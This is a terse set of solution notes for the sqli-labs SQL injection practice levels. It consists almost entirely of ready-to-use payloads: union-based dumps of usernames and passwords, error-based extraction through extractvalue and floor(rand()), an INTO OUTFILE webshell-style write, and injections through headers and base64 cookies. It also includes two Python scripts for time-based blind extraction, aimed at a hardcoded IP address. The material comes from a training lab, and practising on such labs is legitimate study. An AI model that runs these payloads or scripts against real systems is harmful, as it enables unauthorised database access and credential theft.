Less-1
?id=1' order by 3
?id=1' order by 4
?id=666' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
?id=666' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = 'security') --+
?id=666' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = 'users') --+
?id=666' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-2
?id=666 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)
Less-3
?id=666') union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-4
?id=666") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-5
?id=1' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
?id=1' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 4, 1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
?id=1' and (select 1 from (select count(*),concat(((select concat(table_name,";") from information_schema.tables where table_schema = 'security' limit 3, 1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
Less-6
Less-7
?id=-1')) union select "my']);?>" into outfile "path" --+
Less-8
Less-9&10
import requests
import datetime
def database_len(url):
for i in range(1, 10):
payload = '''?id=1' and if(length(database())>%s,sleep(1),0)''' % i
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
print(i)
else:
print(i)
break
print('database_len:', i)
return i
def database_name(url, database_len):
name = ''
for j in range(1, database_len + 1):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1)''' % (
j, i)
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name += i
print(name)
break
print('database_name:', name)
url = '''http://43.247.91.228:84/Less-9/'''
database_len = database_len(url)
database_name(url, database_len)
Less-11
?uname=' or '1'='1&passwd=1'union select 1,(select group_concat(schema_name) from information_schema.schemata)
Less-12
?uname=") or ("1")=("1&passwd=1")union select 1,(select group_concat(schema_name) from information_schema.schemata)
Less-13
?uname=1') and extractvalue(1,concat(":",(select schema_name from information_schema.schemata limit 4,1)))
或者
?uname=1') and (select 1 from (select count(*),concat(((select concat(schema_name, " | ") from information_schema.schemata limit 4, 1)),floor (rand(0)*2))x from information_schema.tables group by x)a)
Less-14
把')换成"
Less-15
import requests
import datetime
import threading
def database_len(url, i):
postdata = {
'uname': '''admin' and if(length(database())>%s,sleep(2),0) #''' % i,
'passwd': '''1'''
}
time1 = datetime.datetime.now()
r = requests.post(url, data=postdata)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
return True
else:
return False
def database_name(url, j):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
postdata = {
'uname': '''admin' and if(substr(database(),%d,1)='%s',sleep(2),1) #''' % (j, i),
'passwd': '''1'''
}
time1 = datetime.datetime.now()
r = requests.post(url, data=postdata)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
return i
class MyThread(threading.Thread):
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
def main():
flag = True
url = '''http://43.247.91.228:84/Less-15/'''
while flag:
threads = []
for i in range(0, 9):
t = MyThread(database_len, (url, i + 1))
threads.append(t)
threads[i].start()
for i in range(0, 9):
threads[i].join()
if not threads[i].getresult():
flag = False
databaselength = i + 1
print('database_len:', databaselength)
break
threads = []
name = ''
for i in range(0, databaselength):
t = MyThread(database_name, (url, i + 1))
threads.append(t)
threads[i].start()
for i in range(0, databaselength):
threads[i].join()
name += threads[i].getresult()
print("database_name :" + name)
if __name__ == '__main__':
main()
Less-16
'改成")
Less-17
?uname=admin&passwd=1' and (select 1 from (select count(*),concat(((select concat(schema_name, " | ") from information_schema.schemata limit 4, 1)),floor (rand(0)*2))x from information_schema.tables group by x)a)
Less-18
User-Agent:1' and extractvalue(1,concat(":",(select schema_name from information_schema.schemata limit 4,1))) and '1'='1
Less-19
Referer:1' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 4, 1)),floor (rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
uname=admin&passwd=admin&submit=Submit
Less-20
Cookie: uname=' and extractvalue(1,concat(":",(select schema_name from information_schema.schemata limit 4,1))) and '1'='1
Less-21
Cookie: uname=JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KCI6Iiwoc2VsZWN0IHNjaGVtYV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGxpbWl0IDQsMSkpKSAgYW5kICcxJz0nMQ==
Less-22
Cookie: uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KCI6Iiwoc2VsZWN0IHNjaGVtYV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGxpbWl0IDQsMSkpKSAgYW5kICIxIj0iMQ==